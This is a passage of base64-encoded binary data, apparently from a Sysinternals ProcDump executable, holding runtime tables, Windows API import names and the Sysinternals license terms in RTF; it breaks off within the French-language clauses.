AAAAAAAAAAAAAAAAAgACAAIAAgACAAIAAgACAAIAAoACgAKAAoACgAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAASAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEACEAIQAhACEAIQAhACEAIQAhACEABAAEAAQABAAEAAQABAAgQCBAIEAgQCBAIEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABABAAEAAQABAAEAAQAIIAggCCAIIAggCCAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAQABAAEAAQACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAgACAAIAAgACAAIAAgACAAKAAoACgAKAAoACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAhACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEBgQGBAYEBgQGBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEQABAAEAAQABAAEACCAYIBggGCAYIBggECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBAgECAQIBEAAQABAAEAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAIABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEA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VyaWMAdW5rbm93biBlcnJvcgAAAGlvc3RyZWFtAAAAAAAAAABpb3N0cmVhbSBzdHJlYW0gZXJyb3IAAABzeXN0ZW0AAFAAcgBvAGMAZAB1AG0AcAAtACUAdQAAAHN0cmluZyB0b28gbG9uZwBpbnZhbGlkIHN0cmluZyBwb3NpdGlvbgAAAAAAAAAAAHtccnRmMVxhbnNpXGFuc2ljcGcxMjUyXGRlZmYwXG5vdWljb21wYXRcZGVmbGFuZzEwMzN7XGZvbnR0Ymx7XGYwXGZzd2lzc1xmcHJxMlxmY2hhcnNldDAgVGFob21hO317XGYxXGZuaWxcZmNoYXJzZXQwIENhbGlicmk7fX0Ae1xjb2xvcnRibCA7XHJlZDBcZ3JlZW4wXGJsdWUyNTU7XHJlZDBcZ3JlZW4wXGJsdWUwO30AAAB7XCpcZ2VuZXJhdG9yIFJpY2hlZDIwIDEwLjAuMTAyNDB9XHZpZXdraW5kNFx1YzEgAAAAAAAAAFxwYXJkXGJyZHJiXGJyZHJzXGJyZHJ3MTBcYnJzcDIwIFxzYjEyMFxzYTEyMFxiXGYwXGZzMjQgU1lTSU5URVJOQUxTIFNPRlRXQVJFIExJQ0VOU0UgVEVSTVNcZnMyOFxwYXIAAAAAAAAAAAAAAABccGFyZFxzYjEyMFxzYTEyMFxiMFxmczE5IFRoZXNlIGxpY2Vuc2UgdGVybXMgYXJlIGFuIGFncmVlbWVudCBiZXR3ZWVuIFN5c2ludGVybmFscyAoYSB3aG9sbHkgb3duZWQgc3Vic2lkaWFyeSBvZiBNaWNyb3NvZnQgQ29ycG9yYXRpb24pIGFuZCB5b3UuICBQbGVhc2UgcmVhZCB0aGVtLiAgVGhleSBhcHBseSB0byB0aGUgc29mdHdhcmUgeW91IGFyZSBkb3dubG9hZGluZyBmcm9tIFN5c3RpbnRlcm5hbHMuY29tLCB3aGljaCBpbmNsdWRlcyB0aGUgbWVkaWEgb24gd2hpY2ggeW91IHJlY2VpdmVkIGl0LCBpZiBhbnkuICBUaGUgdGVybXMgYWxzbyBhcHBseSB0byBhbnkgU3lzaW50ZXJuYWxzXHBhcgAAAFxwYXJkXGZpLTM2M1xsaTcyMFxzYjEyMFxzYTEyMFx0eDcyMFwnYjdcdGFiIHVwZGF0ZXMsXHBhcgAAAAAAAABccGFyZFxmaS0zNjNcbGk3MjBcc2IxMjBcc2ExMjBcJ2I3XHRhYiBzdXBwbGVtZW50cyxccGFyAFwnYjdcdGFiIEludGVybmV0LWJhc2VkIHNlcnZpY2VzLCBhbmQgXHBhcgAAAAAAAFwnYjdcdGFiIHN1cHBvcnQgc2VydmljZXNccGFyAAAAXHBhcmRcc2IxMjBcc2ExMjAgZm9yIHRoaXMgc29mdHdhcmUsIHVubGVzcyBvdGhlciB0ZXJtcyBhY2NvbXBhbnkgdGhvc2UgaXRlbXMuICBJZiBzbywgdGhvc2UgdGVybXMgYXBwbHkuXHBhcgAAAFxiIEJZIFVTSU5HIFRIRSBTT0ZUV0FSRSwgWU9VIEFDQ0VQVCBUSEVTRSBURVJNUy4gIElGIFlPVSBETyBOT1QgQUNDRVBUIFRIRU0sIERPIE5PVCBVU0UgVEhFIFNPRlRXQVJFLlxwYXIAAAAAAABccGFyZFxicmRydFxicmRyc1xicmRydzEwXGJyc3AyMCBcc2IxMjBcc2ExMjAgSWYgeW91IGNvbXBseSB3aXRoIHRoZXNlIGxpY2Vuc2UgdGVybXMsIHlvdSBoYXZlIHRoZSByaWdodHMgYmVsb3cuXHBhcgAAAAAAAAAAAAAAAFxwYXJkXGZpLTM1N1xsaTM1N1xzYjEyMFxzYTEyMFx0eDM2MFxmczIwIDEuXHRhYlxmczE5IElOU1RBTExBVElPTiBBTkQgVVNFIFJJR0hUUy4gIFxiMCBZb3UgbWF5IGluc3RhbGwgYW5kIHVzZSBhbnkgbnVtYmVyIG9mIGNvcGllcyBvZiB0aGUgc29mdHdhcmUgb24geW91ciBkZXZpY2VzLlxiXHBhcgAAAAAAXGNhcHNcZnMyMCAyLlx0YWJcZnMxOSBTY29wZSBvZiBMaWNlbnNlXGNhcHMwIC5cYjAgICBUaGUgc29mdHdhcmUgaXMgbGljZW5zZWQsIG5vdCBzb2xkLiBUaGlzIGFncmVlbWVudCBvbmx5IGdpdmVzIHlvdSBzb21lIHJpZ2h0cyB0byB1c2UgdGhlIHNvZnR3YXJlLiAgU3lzaW50ZXJuYWxzIHJlc2VydmVzIGFsbCBvdGhlciByaWdodHMuICBVbmxlc3MgYXBwbGljYWJsZSBsYXcgZ2l2ZXMgeW91IG1vcmUgcmlnaHRzIGRlc3BpdGUgdGhpcyBsaW1pdGF0aW9uLCB5b3UgbWF5IHVzZSB0aGUgc29mdHdhcmUgb25seSBhcyBleHByZXNzbHkgcGVybWl0dGVkIGluIHRoaXMgYWdyZWVtZW50LiAgSW4gZG9pbmcgc28sIHlvdSBtdXN0IGNvbXBseSB3aXRoIGFueSB0ZWNobmljYWwgbGltaXRhdGlvbnMgaW4gdGhlIHNvZnR3YXJlIHRoYXQgb25seSBhbGxvdyB5b3UgdG8gdXNlIGl0IGluIGNlcnRhaW4gd2F5cy4gICAgWW91IG1heSBub3RcYlxwYXIAXHBhcmRcZmktMzYzXGxpNzIwXHNiMTIwXHNhMTIwXHR4NzIwXGIwXCdiN1x0YWIgd29yayBhcm91bmQgYW55IHRlY2huaWNhbCBsaW1pdGF0aW9ucyBpbiB0aGUgYmluYXJ5IHZlcnNpb25zIG9mIHRoZSBzb2Z0d2FyZTtccGFyAAAAAAAAAAAAAAAAAAAAXHBhcmRcZmktMzYzXGxpNzIwXHNiMTIwXHNhMTIwXCdiN1x0YWIgcmV2ZXJzZSBlbmdpbmVlciwgZGVjb21waWxlIG9yIGRpc2Fzc2VtYmxlIHRoZSBiaW5hcnkgdmVyc2lvbnMgb2YgdGhlIHNvZnR3YXJlLCBleGNlcHQgYW5kIG9ubHkgdG8gdGhlIGV4dGVudCB0aGF0IGFwcGxpY2FibGUgbGF3IGV4cHJlc3NseSBwZXJtaXRzLCBkZXNwaXRlIHRoaXMgbGltaXRhdGlvbjtccGFyAAAAAAAAAABcJ2I3XHRhYiBtYWtlIG1vcmUgY29waWVzIG9mIHRoZSBzb2Z0d2FyZSB0aGFuIHNwZWNpZmllZCBpbiB0aGlzIGFncmVlbWVudCBvciBhbGxvd2VkIGJ5IGFwcGxpY2FibGUgbGF3LCBkZXNwaXRlIHRoaXMgbGltaXRhdGlvbjtccGFyAAAAXCdiN1x0YWIgcHVibGlzaCB0aGUgc29mdHdhcmUgZm9yIG90aGVycyB0byBjb3B5O1xwYXIAAABcJ2I3XHRhYiByZW50LCBsZWFzZSBvciBsZW5kIHRoZSBzb2Z0d2FyZTtccGFyAABcJ2I3XHRhYiB0cmFuc2ZlciB0aGUgc29mdHdhcmUgb3IgdGhpcyBhZ3JlZW1lbnQgdG8gYW55IHRoaXJkIHBhcnR5OyBvclxwYXIAAAAAAFwnYjdcdGFiIHVzZSB0aGUgc29mdHdhcmUgZm9yIGNvbW1lcmNpYWwgc29mdHdhcmUgaG9zdGluZyBzZXJ2aWNlcy5ccGFyAAAAAAAAAAAAXHBhcmRcZmktMzU3XGxpMzU3XHNiMTIwXHNhMTIwXHR4MzYwXGJcZnMyMCAzLlx0YWIgU0VOU0lUSVZFIElORk9STUFUSU9OLiBcYjAgIFBsZWFzZSBiZSBhd2FyZSB0aGF0LCBzaW1pbGFyIHRvIG90aGVyIGRlYnVnIHRvb2xzIHRoYXQgY2FwdHVyZSBcbGRibHF1b3RlIHByb2Nlc3Mgc3RhdGVccmRibHF1b3RlICBpbmZvcm1hdGlvbiwgZmlsZXMgc2F2ZWQgYnkgU3lzaW50ZXJuYWxzIHRvb2xzIG1heSBpbmNsdWRlIHBlcnNvbmFsbHkgaWRlbnRpZmlhYmxlIG9yIG90aGVyIHNlbnNpdGl2ZSBpbmZvcm1hdGlvbiAoc3VjaCBhcyB1c2VybmFtZXMsIHBhc3N3b3JkcywgcGF0aHMgdG8gZmlsZXMgYWNjZXNzZWQsIGFuZCBwYXRocyB0byByZWdpc3RyeSBhY2Nlc3NlZCkuIEJ5IHVzaW5nIHRoaXMgc29mdHdhcmUsIHlvdSBhY2tub3dsZWRnZSB0aGF0IHlvdSBhcmUgYXdhcmUgb2YgdGhpcyBhbmQgdGFrZSBzb2xlIHJlc3BvbnNpYmlsaXR5IGZvciBhbnkgcGVyc29uYWxseSBpZGVudGlmaWFibGUgb3Igb3RoZXIgc2Vuc2l0aXZlIGluZm9ybWF0aW9uIHByb3ZpZGVkIHRvIE1pY3Jvc29mdCBvciBhbnkgb3RoZXIgcGFydHkgdGhyb3VnaCB5b3VyIHVzZSBvZiB0aGUgc29mdHdhcmUuXGJccGFyAAAANS4gXHRhYlxmczE5IERPQ1VNRU5UQVRJT04uXGIwICAgQW55IHBlcnNvbiB0aGF0IGhhcyB2YWxpZCBhY2Nlc3MgdG8geW91ciBjb21wdXRlciBvciBpbnRlcm5hbCBuZXR3b3JrIG1heSBjb3B5IGFuZCB1c2UgdGhlIGRvY3VtZW50YXRpb24gZm9yIHlvdXIgaW50ZXJuYWwsIHJlZmVyZW5jZSBwdXJwb3Nlcy5cYlxwYXIAAAAAAAAAAAAAXGNhcHNcZnMyMCA2Llx0YWJcZnMxOSBFeHBvcnQgUmVzdHJpY3Rpb25zXGNhcHMwIC5cYjAgICBUaGUgc29mdHdhcmUgaXMgc3ViamVjdCB0byBVbml0ZWQgU3RhdGVzIGV4cG9ydCBsYXdzIGFuZCByZWd1bGF0aW9ucy4gIFlvdSBtdXN0IGNvbXBseSB3aXRoIGFsbCBkb21lc3RpYyBhbmQgaW50ZXJuYXRpb25hbCBleHBvcnQgbGF3cyBhbmQgcmVndWxhdGlvbnMgdGhhdCBhcHBseSB0byB0aGUgc29mdHdhcmUuICBUaGVzZSBsYXdzIGluY2x1ZGUgcmVzdHJpY3Rpb25zIG9uIGRlc3RpbmF0aW9ucywgZW5kIHVzZXJzIGFuZCBlbmQgdXNlLiAgRm9yIGFkZGl0aW9uYWwgaW5mb3JtYXRpb24sIHNlZSB7XGNmMVx1bHtcZmllbGR7XCpcZmxkaW5zdHtIWVBFUkxJTksgd3d3Lm1pY3Jvc29mdC5jb20vZXhwb3J0aW5nIH19e1xmbGRyc2x0e3d3dy5taWNyb3NvZnQuY29tL2V4cG9ydGluZ319fX1cY2YxXHVsXGYwXGZzMTkgIDx7e1xmaWVsZHtcKlxmbGRpbnN0e0hZUEVSTElOSyAiaHR0cDovL3d3dy5taWNyb3NvZnQuY29tL2V4cG9ydGluZyJ9fXtcZmxkcnNsdHtodHRwOi8vd3d3Lm1pY3Jvc29mdC5jb20vZXhwb3J0aW5nfX19fVxmMFxmczE5ID5cY2YwXHVsbm9uZSAuXGJccGFyAAAAAAAAAAAAAAAAXGNhcHNcZnMyMCA3Llx0YWJcZnMxOSBTVVBQT1JUIFNFUlZJQ0VTLlxjYXBzMCAgXGIwIEJlY2F1c2UgdGhpcyBzb2Z0d2FyZSBpcyAiYXMgaXMsICIgd2UgbWF5IG5vdCBwcm92aWRlIHN1cHBvcnQgc2VydmljZXMgZm9yIGl0LlxiXHBhcgAAAAAAAAAAXGNhcHNcZnMyMCA4Llx0YWJcZnMxOSBFbnRpcmUgQWdyZWVtZW50LlxiMFxjYXBzMCAgIFRoaXMgYWdyZWVtZW50LCBhbmQgdGhlIHRlcm1zIGZvciBzdXBwbGVtZW50cywgdXBkYXRlcywgSW50ZXJuZXQtYmFzZWQgc2VydmljZXMgYW5kIHN1cHBvcnQgc2VydmljZXMgdGhhdCB5b3UgdXNlLCBhcmUgdGhlIGVudGlyZSBhZ3JlZW1lbnQgZm9yIHRoZSBzb2Z0d2FyZSBhbmQgc3VwcG9ydCBzZXJ2aWNlcy5ccGFyAAAAAAAAXHBhcmRca2VlcG5cZmktMzYwXGxpMzYwXHNiMTIwXHNhMTIwXHR4MzYwXGNmMlxiXGNhcHNcZnMyMCA5Llx0YWJcZnMxOSBBcHBsaWNhYmxlIExhd1xjYXBzMCAuXHBhcgAAAAAAAAAAAAAAAAAAAFxwYXJkXGZpLTM2M1xsaTcyMFxzYjEyMFxzYTEyMFx0eDcyMFxjZjBcZnMyMCBhLlx0YWJcZnMxOSBVbml0ZWQgU3RhdGVzLlxiMCAgIElmIHlvdSBhY3F1aXJlZCB0aGUgc29mdHdhcmUgaW4gdGhlIFVuaXRlZCBTdGF0ZXMsIFdhc2hpbmd0b24gc3RhdGUgbGF3IGdvdmVybnMgdGhlIGludGVycHJldGF0aW9uIG9mIHRoaXMgYWdyZWVtZW50IGFuZCBhcHBsaWVzIHRvIGNsYWltcyBmb3IgYnJlYWNoIG9mIGl0LCByZWdhcmRsZXNzIG9mIGNvbmZsaWN0IG9mIGxhd3MgcHJpbmNpcGxlcy4gIFRoZSBsYXdzIG9mIHRoZSBzdGF0ZSB3aGVyZSB5b3UgbGl2ZSBnb3Zlcm4gYWxsIG90aGVyIGNsYWltcywgaW5jbHVkaW5nIGNsYWltcyB1bmRlciBzdGF0ZSBjb25zdW1lciBwcm90ZWN0aW9uIGxhd3MsIHVuZmFpciBjb21wZXRpdGlvbiBsYXdzLCBhbmQgaW4gdG9ydC5cYlxwYXIAAAAAAAAAAABccGFyZFxmaS0zNjNcbGk3MjBcc2IxMjBcc2ExMjBcZnMyMCBiLlx0YWJcZnMxOSBPdXRzaWRlIHRoZSBVbml0ZWQgU3RhdGVzLlxiMCAgIElmIHlvdSBhY3F1aXJlZCB0aGUgc29mdHdhcmUgaW4gYW55IG90aGVyIGNvdW50cnksIHRoZSBsYXdzIG9mIHRoYXQgY291bnRyeSBhcHBseS5cYlxwYXIAAAAAAAAAAFxwYXJkXGZpLTM1N1xsaTM1N1xzYjEyMFxzYTEyMFx0eDM2MFxjYXBzXGZzMjAgMTAuXHRhYlxmczE5IExlZ2FsIEVmZmVjdC5cYjBcY2FwczAgICBUaGlzIGFncmVlbWVudCBkZXNjcmliZXMgY2VydGFpbiBsZWdhbCByaWdodHMuICBZb3UgbWF5IGhhdmUgb3RoZXIgcmlnaHRzIHVuZGVyIHRoZSBsYXdzIG9mIHlvdXIgY291bnRyeS4gIFlvdSBtYXkgYWxzbyBoYXZlIHJpZ2h0cyB3aXRoIHJlc3BlY3QgdG8gdGhlIHBhcnR5IGZyb20gd2hvbSB5b3UgYWNxdWlyZWQgdGhlIHNvZnR3YXJlLiAgVGhpcyBhZ3JlZW1lbnQgZG9lcyBub3QgY2hhbmdlIHlvdXIgcmlnaHRzIHVuZGVyIHRoZSBsYXdzIG9mIHlvdXIgY291bnRyeSBpZiB0aGUgbGF3cyBvZiB5b3VyIGNvdW50cnkgZG8gbm90IHBlcm1pdCBpdCB0byBkbyBzby5cYlxjYXBzXHBhcgAAAAAAAAAAAAAAAFxmczIwIDExLlx0YWJcZnMxOSBEaXNjbGFpbWVyIG9mIFdhcnJhbnR5LlxjYXBzMCAgICBcY2FwcyBUaGUgc29mdHdhcmUgaXMgbGljZW5zZWQgImFzIC0gaXMuIiAgWW91IGJlYXIgdGhlIHJpc2sgb2YgdXNpbmcgaXQuICBTWVNJTlRFUk5BTFMgZ2l2ZXMgbm8gZXhwcmVzcyB3YXJyYW50aWVzLCBndWFyYW50ZWVzIG9yIGNvbmRpdGlvbnMuICBZb3UgbWF5IGhhdmUgYWRkaXRpb25hbCBjb25zdW1lciByaWdodHMgdW5kZXIgeW91ciBsb2NhbCBsYXdzIHdoaWNoIHRoaXMgYWdyZWVtZW50IGNhbm5vdCBjaGFuZ2UuICBUbyB0aGUgZXh0ZW50IHBlcm1pdHRlZCB1bmRlciB5b3VyIGxvY2FsIGxhd3MsIFNZU0lOVEVSTkFMUyBleGNsdWRlcyB0aGUgaW1wbGllZCB3YXJyYW50aWVzIG9mIG1lcmNoYW50YWJpbGl0eSwgZml0bmVzcyBmb3IgYSBwYXJ0aWN1bGFyIHB1cnBvc2UgYW5kIG5vbi1pbmZyaW5nZW1lbnQuXHBhcgAAAAAAAAAAAAAAAAAAAFxwYXJkXGZpLTM2MFxsaTM2MFxzYjEyMFxzYTEyMFx0eDM2MFxmczIwIDEyLlx0YWJcZnMxOSBMaW1pdGF0aW9uIG9uIGFuZCBFeGNsdXNpb24gb2YgUmVtZWRpZXMgYW5kIERhbWFnZXMuICBZb3UgY2FuIHJlY292ZXIgZnJvbSBTWVNJTlRFUk5BTFMgYW5kIGl0cyBzdXBwbGllcnMgb25seSBkaXJlY3QgZGFtYWdlcyB1cCB0byBVLlMuICQ1LjAwLiAgWW91IGNhbm5vdCByZWNvdmVyIGFueSBvdGhlciBkYW1hZ2VzLCBpbmNsdWRpbmcgY29uc2VxdWVudGlhbCwgbG9zdCBwcm9maXRzLCBzcGVjaWFsLCBpbmRpcmVjdCBvciBpbmNpZGVudGFsIGRhbWFnZXMuXHBhcgAAAAAAAAAAAAAAAAAAAFxwYXJkXGxpMzU3XHNiMTIwXHNhMTIwXGIwXGNhcHMwIFRoaXMgbGltaXRhdGlvbiBhcHBsaWVzIHRvXHBhcgBccGFyZFxmaS0zNjNcbGk3MjBcc2IxMjBcc2ExMjBcdHg3MjBcJ2I3XHRhYiBhbnl0aGluZyByZWxhdGVkIHRvIHRoZSBzb2Z0d2FyZSwgc2VydmljZXMsIGNvbnRlbnQgKGluY2x1ZGluZyBjb2RlKSBvbiB0aGlyZCBwYXJ0eSBJbnRlcm5ldCBzaXRlcywgb3IgdGhpcmQgcGFydHkgcHJvZ3JhbXM7IGFuZFxwYXIAAAAAAAAAAAAAAAAAAABccGFyZFxmaS0zNjNcbGk3MjBcc2IxMjBcc2ExMjBcJ2I3XHRhYiBjbGFpbXMgZm9yIGJyZWFjaCBvZiBjb250cmFjdCwgYnJlYWNoIG9mIHdhcnJhbnR5LCBndWFyYW50ZWUgb3IgY29uZGl0aW9uLCBzdHJpY3QgbGlhYmlsaXR5LCBuZWdsaWdlbmNlLCBvciBvdGhlciB0b3J0IHRvIHRoZSBleHRlbnQgcGVybWl0dGVkIGJ5IGFwcGxpY2FibGUgbGF3LlxwYXIAAAAAXHBhcmRcbGkzNjBcc2IxMjBcc2ExMjAgSXQgYWxzbyBhcHBsaWVzIGV2ZW4gaWYgU3lzaW50ZXJuYWxzIGtuZXcgb3Igc2hvdWxkIGhhdmUga25vd24gYWJvdXQgdGhlIHBvc3NpYmlsaXR5IG9mIHRoZSBkYW1hZ2VzLiAgVGhlIGFib3ZlIGxpbWl0YXRpb24gb3IgZXhjbHVzaW9uIG1heSBub3QgYXBwbHkgdG8geW91IGJlY2F1c2UgeW91ciBjb3VudHJ5IG1heSBub3QgYWxsb3cgdGhlIGV4Y2x1c2lvbiBvciBsaW1pdGF0aW9uIG9mIGluY2lkZW50YWwsIGNvbnNlcXVlbnRpYWwgb3Igb3RoZXIgZGFtYWdlcy5ccGFyAAAAAAAAAAAAAFxwYXJkXGIgUGxlYXNlIG5vdGU6IEFzIHRoaXMgc29mdHdhcmUgaXMgZGlzdHJpYnV0ZWQgaW4gUXVlYmVjLCBDYW5hZGEsIHNvbWUgb2YgdGhlIGNsYXVzZXMgaW4gdGhpcyBhZ3JlZW1lbnQgYXJlIHByb3ZpZGVkIGJlbG93IGluIEZyZW5jaC5ccGFyAFxwYXJkXHNiMjQwXGxhbmcxMDM2IFJlbWFycXVlIDogQ2UgbG9naWNpZWwgXCdlOXRhbnQgZGlzdHJpYnVcJ2U5IGF1IFF1XCdlOWJlYywgQ2FuYWRhLCBjZXJ0YWluZXMgZGVzIGNsYXVzZXMgZGFucyBjZSBjb250cmF0IHNvbnQgZm91cm5pZXMgY2ktZGVzc291cyBlbiBmcmFuXCdlN2Fpcy5ccGFyAAAAAAAAXHBhcmRcc2IxMjBcc2ExMjAgRVhPTlwnYzlSQVRJT04gREUgR0FSQU5USUUuXGIwICBMZSBsb2dpY2llbCB2aXNcJ2U5IHBhciB1bmUgbGljZW5jZSBlc3Qgb2ZmZXJ0IFwnYWIgdGVsIHF1ZWwgXCdiYi4gVG91dGUgdXRpbGlzYXRpb24gZGUgY2UgbG9naWNpZWwgZXN0IFwnZTAgdm90cmUgc2V1bGUgcmlzcXVlIGV0IHBcJ2U5cmlsLiBTeXNpbnRlcm5hbHMgbidhY2NvcmRlIGF1Y3VuZSBhdXRyZSBnYXJhbnRpZSBleHByZXNzZS4gVm91cyBwb3V2ZXogYlwnZTluXCdlOWZpY2llciBkZSBkcm9pdHMgYWRkaXRpb25uZWxzIGVuIHZlcnR1IGR1IGRyb2l0IGxvY2FsIHN1ciBsYSBwcm90ZWN0aW9uIGR1ZXMgY29uc29tbWF0ZXVycywgcXVlIGNlIGNvbnRyYXQgbmUgcGV1dCBtb2RpZmllci4gTGEgb3U